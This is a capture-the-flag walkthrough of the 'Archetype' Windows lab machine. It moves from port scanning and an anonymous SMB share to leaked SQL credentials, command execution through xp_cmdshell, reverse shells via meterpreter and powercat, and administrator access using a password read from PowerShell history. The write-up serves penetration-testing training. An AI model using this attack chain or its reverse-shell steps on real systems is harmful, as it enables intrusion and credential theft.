[INF] Current naabu version 2.1.6 (latest)[INF] Running CONNECT scan with non root privileges[INF] Found 12 ports on host 10.129.95.187 (10.129.95.187)10.129.95.187:44510.129.95.187:4966410.129.95.187:13910.129.95.187:4700110.129.95.187:4966810.129.95.187:4966510.129.95.187:4966610.129.95.187:4966710.129.95.187:143310.129.95.187:4966910.129.95.187:598510.129.95.187:135[INF] Running nmap command: nmap -sV -sC nmap-output -p 445,139,49665,49666,1433,49669,5985,49667,49664,47001,49668,135 10.129.95.187
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-1716:24 ISTVerbosity Increased to 1.Verbosity Increased to 2.Service scan Timing: About 58.33% done; ETC:16:25 (0:00:43 remaining)Completed Service scan at 16:25,59.63s elapsed (12 services on 1 host)NSE: Script scanning 10.129.95.187.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 16:25Completed NSE at 16:25,17.10s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 16:25Completed NSE at 16:25,3.99s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 16:25Completed NSE at 16:25,0.00s elapsedNmap scan report for 10.129.95.187Host is up (0.37s latency).Scanned at 2023-05-1716:24:15 IST for 82sPORT STATE SERVICE VERSION135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds1433/tcp open ms-sql-s Microsoft SQL Server 201714.00.1000.00; RTM| ms-sql-info:| 10.129.95.187:1433:| Version:| name: Microsoft SQL Server 2017 RTM| number:14.00.1000.00| Product: Microsoft SQL Server 2017| Service pack level: RTM| Post-SP patches applied: false|_ TCP port:1433|_ssl-date:2023-05-17T05:25:55+00:00; -5h29m42s from scanner time.| ms-sql-ntlm-info:| 10.129.95.187:1433:| Target_Name: ARCHETYPE| NetBIOS_Domain_Name: ARCHETYPE| NetBIOS_Computer_Name: ARCHETYPE| DNS_Domain_Name: Archetype| DNS_Computer_Name: Archetype|_ Product_Version:10.0.17763| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback| Issuer: commonName=SSL_Self_Signed_Fallback| Public Key type: rsa| Public Key bits:2048| Signature Algorithm: sha256WithRSAEncryption| Not valid before:2023-05-17T05:18:40| Not valid after:2053-05-17T05:18:40| MD5: 24ffbff89c78dbb723fe8280eb488645| SHA-1: 946929bce2803adf2c0ba4fed1c47f546f1ca95b| -----BEGIN CERTIFICATE-----| MIIDADCCAeigAwIBAgIQFkVxaO4nCKFNYZUoqFp1uDANBgkqhkiG9w0BAQsFADA7| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA| bABsAGIAYQBjAGswIBcNMjMwNTE3MDUxODQwWhgPMjA1MzA1MTcwNTE4NDBaMDsx| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALYsm+PL| ppJGGDP+4yVoQl4D+QmxXK9oHS+VNaSinXnxggasmA74dViF280EepEHHaRkEv3m| DvBYLGSqILjMmgWx+XVwsYTJaCapFzxx+78UUtrCpm+x1BquGy2x0sGWB265hSl+| 63iBevho3VjftLDqd+WgRxAMJuvVuH9J0eGBNZXBNU2prStpz+586e6l7A2J9Ku4| FpLEaOVEWpk6/DHVLfNwsfntVThgOcKTGVvaPJxsGkVXQqMWL8L1/JMyK7luVgHe| /e2NkAg3HlTVQ9ifSBFB4HT/QJYDhesq91GsBWtli361uHMG3LMAoGiPjNg1qZPu| gi7wpu2fkY0X0QkCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAXLCA9eJ1o0uUcvR7| t0Xp31KFzVitgN7QW4nHbOBYTbJIQlv9/JjplGvHYJzNWy3lLFcEEoJs0WVHwRyE| LJoaVhPkQIPCzfhppAN8BhKjrTbzauWjV8WV6R+Nky7cEKCxI7Fa4hUxrCaBXYbW| 1o3PrYd3OZo4bLelLMz+nWIKzSdUlwj3stw0bkvzxbZRsFy3PTzxBtqdtt6ajQIF| 0ZdM86mMWD9CFf60FUdPsO1kCoPvTOuhOuCeh7JyXAtp20nrmpNAVIqIPid0FYDm| jT70T3rU5aAmiubsC+y9EV3SKToB6vGdSb0kgrqrJK9V+EJW9R0mL13fXPHh20KR| 7UUrmw==|_-----END CERTIFICATE-----5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49667/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC49669/tcp open msrpc Microsoft Windows RPCService Info: OSs: Windows, Windows Server 2008 R2 -2012; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: mean:-4h05m41s, deviation: 3h07m52s, median:-5h29m42s| smb-os-discovery:| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)| Computer name: Archetype| NetBIOS computer name: ARCHETYPE\x00| Workgroup: WORKGROUP\x00|_ System time:2023-05-16T22:25:39-07:00| p2p-conficker:| Checking for Conficker.C or higher...| Check 1 (port 56233/tcp): CLEAN (Couldn't connect)| Check 2 (port 30913/tcp): CLEAN (Couldn't connect)| Check 3 (port 11076/udp): CLEAN (Failed to receive data)| Check 4 (port 4389/udp): CLEAN (Timeout)|_ 0/4 checks are positive: Host is CLEAN or ports are blocked| smb-security-mode:| account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)| smb2-time:| date:2023-05-17T05:25:35|_ start_date: N/A| smb2-security-mode:| 311:|_ Message signing enabled but not requiredNSE: Script Post-scanning.NSE: Starting runlevel 1 (of 3) scan.Initiating NSE at 16:25Completed NSE at 16:25,0.00s elapsedNSE: Starting runlevel 2 (of 3) scan.Initiating NSE at 16:25Completed NSE at 16:25,0.00s elapsedNSE: Starting runlevel 3 (of 3) scan.Initiating NSE at 16:25Completed NSE at 16:25,0.00s elapsedRead data files from:/usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done:1 IP address (1 host up) scanned in82.41 seconds
List available SMB shares
We have SMB running so let's try and connect with the SMB server and list available shares.
smbclient -N -L \\\\10.129.95.187\\
We use the -N flag as it supresses the default password prompt from smbclient - useful for situations where we do not need a password to access a share. We use the -L flag as it lists all available shares.
We get the follwing shares available:
Sharename Type Comment-------------------- ADMIN$ Disk Remote Admin backups Disk C$ Disk Default share IPC$ IPC Remote IPCReconnecting with SMB1 for workgroup listing.do_connect: Connection to 10.129.95.187 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)Unable to connect with SMB1 -- no workgroup available
We find that the backups share is publicly available and it's not an administrative share.
Enumerate and dump contents from backups share
smbclient -N \\\\10.129.95.187\\backups
We find a file named prod.dtsConfig.
smb: \> dir
. D 0 Mon Jan 20 17:50:57 2020
.. D 0 Mon Jan 20 17:50:57 2020
prod.dtsConfig AR 609 Mon Jan 20 17:53:02 2020
5056511 blocks of size 4096. 2616175 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
A DTSCONFIG file (or a .dtsConfig file )is an XML configuration file used to apply property values to SQL Server Integration Services (SSIS) packages. The file contains one or more package configurations that consist of metadata such as the server name, database names, and other connection properties to configure SSIS packages.
DTSCONFIG files often contain sensitive information, therefore, access to the location of the files should be restricted.
The contents of the file reveals a username and password for the MS-SQL database which we found in the port scan results.
This helps us to connect to the database after providing the password at the password prompt.
Command injection via xp_cmdshell
Using the given options from mssqlclient:
SQL> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd
We can enable xp_cmdshell using enable_xp_cmdshell, even though it is disabled by default.
After enabling it we can find the username that has access to the service:
Since we are in the C:\Windows\system32 directory, we cannot make changes here as the Administrator can only make changes in this directory.
We can change to C:\Users\Public directory for downloading shells and privilege escalation executable. Since there is no persistence we will have to use the cd command chained with other commands.
Foot holding
Now that we can execute any arbitrary commands on the victim machine, we can get a firmer foothold on the victim server, aka, a reverse shell access. We can do this in two ways:
msf6exploit(multi/handler) >run[*] Started reverse TCP handler on 10.10.14.29:4444 [*] Sending stage (200774bytes) to 10.129.95.187[*] Meterpreter session 29 opened (10.10.14.29:4444 ->10.129.95.187:49709) at 2023-05-19 22:48:36 +0530meterpreter>lsListing:C:\Users\Public========================ModeSizeTypeLastmodifiedName-----------------------------040555/r-xr-xr-x0dir2021-07-2715:00:54+0530AccountPictures040555/r-xr-xr-x0dir2018-09-1512:42:36+0530Desktop040555/r-xr-xr-x0dir2020-01-2012:09:33+0530Documents040555/r-xr-xr-x0dir2018-09-1512:42:36+0530Downloads040555/r-xr-xr-x0dir2018-09-1512:42:36+0530Libraries040555/r-xr-xr-x0dir2018-09-1512:42:36+0530Music040555/r-xr-xr-x0dir2018-09-1512:42:36+0530Pictures040555/r-xr-xr-x0dir2018-09-1512:42:36+0530Videos100666/rw-rw-rw-174fil2018-09-1512:41:27+0530desktop.ini100777/rwxrwxrwx7168fil2023-05-1917:14:51+0530payload.exe
Using net/powercat reverse shell and python HTTP server
We can download powercat.ps1 file on the victim machine by hosting it in a python HTTP server.
The client freezes but we get a shell on our netcat listener terminal:
listening on [any] 4444 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.228.29] 49680
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
If we try to enter the Administrator user's directory we can't from here:
C:\Users>cd Administrator
cd Administrator
Access is denied.
So we need to perform privilege escalation.
Vulnerability and CVE scanning with winpeas
We can use winpeas to find vulnerabilities or leaked credentials that can help us in privilege escalation.
Using meterpreter reverse shell
Upload the winPEASx64.exe using upload options in the meterpreter:
Execute winpeas after shell-ing into the meterpreter session:
meterpreter > shell
Process 604 created.
Channel 5 created.
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\sql_svc\Desktop>.\winPEASx64.exe
Using powercat reverse shell
After changing to powershell, we can use the following command to get winPEASx64.exe from the attacker machine onto the victim machine. :
PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 79
Which gives us the Administrator password:
cat C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
Gain administrator access
We know the administrator username is administrator and password is MEGACORP_4dm1n!!. Now, we can follow either of the two methods to login as the administrator.
After providing the password at the prompt we get the shell access:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Requesting shares on 10.129.95.187.....
[*] Found writable share ADMIN$
[*] Uploading file VuaxbZOR.exe
[*] Opening SVCManager on 10.129.95.187.....
[*] Creating service lSNA on 10.129.95.187.....
[*] Starting service lSNA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
*Evil-WinRM* PS C:\Users\Administrator> dir
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/27/2021 2:30 AM 3D Objects
d-r--- 7/27/2021 2:30 AM Contacts
d-r--- 7/27/2021 2:30 AM Desktop
d-r--- 7/27/2021 2:30 AM Documents
d-r--- 7/27/2021 2:30 AM Downloads
d-r--- 7/27/2021 2:30 AM Favorites
d-r--- 7/27/2021 2:30 AM Links
d-r--- 7/27/2021 2:30 AM Music
d-r--- 7/27/2021 2:30 AM Pictures
d-r--- 7/27/2021 2:30 AM Saved Games
d-r--- 7/27/2021 2:30 AM Searches
d-r--- 7/27/2021 2:30 AM Videos
*Evil-WinRM* PS C:\Users\Administrator>